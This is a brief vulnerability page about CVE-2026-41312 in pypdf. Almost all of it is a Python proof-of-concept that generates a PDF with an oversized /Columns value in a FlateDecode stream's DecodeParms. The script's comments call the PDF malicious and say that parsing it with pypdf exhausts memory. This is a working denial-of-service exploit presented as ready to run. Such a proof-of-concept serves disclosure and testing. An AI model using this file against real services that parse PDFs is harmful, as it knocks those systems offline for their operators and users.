CVE-2026-41312: pypdf内存耗尽漏洞

import zlib # Malicious PDF generation # This script creates a PDF with a stream containing a huge /Columns parameter # inside /DecodeParms for /FlateDecode, which triggers the RAM exhaustion. # Create some dummy data to compress data = b'A' * 100 compressed_data = zlib.compress(data) # Construct the PDF body with the malicious stream # The key is the /Columns 999999999 inside the DecodeParms pdf_content = f"""%PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /Resources << /XObject << /Img0 4 0 R >> >> /MediaBox [0 0 612 792] /Contents 5 0 R >> endobj 4 0 obj << /Type /XObject /Subtype /Image /Width 100 /Height 100 /ColorSpace /DeviceRGB /BitsPerComponent 8 /Filter /FlateDecode /DecodeParms << /Predictor 12 /Columns 999999999 /Colors 3 /BitsPerComponent 8 >> /Length {len(compressed_data)} >> stream {compressed_data.decode('latin1')} endstream endobj 5 0 obj << /Length 44 >> stream BT /F1 24 Tf 100 700 Td (Hello) Tj ET endstream endobj xref 0 6 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n 0000000288 00000 n 0000000453 00000 n trailer << /Size 6 /Root 1 0 R >> startxref 528 %%EOF """ with open("cve_2026_41312_poc.pdf", "wb") as f: f.write(pdf_content.encode('latin1')) print("Malicious PDF generated: cve_2026_41312_poc.pdf") print("Attempting to read with pypdf will cause RAM exhaustion.")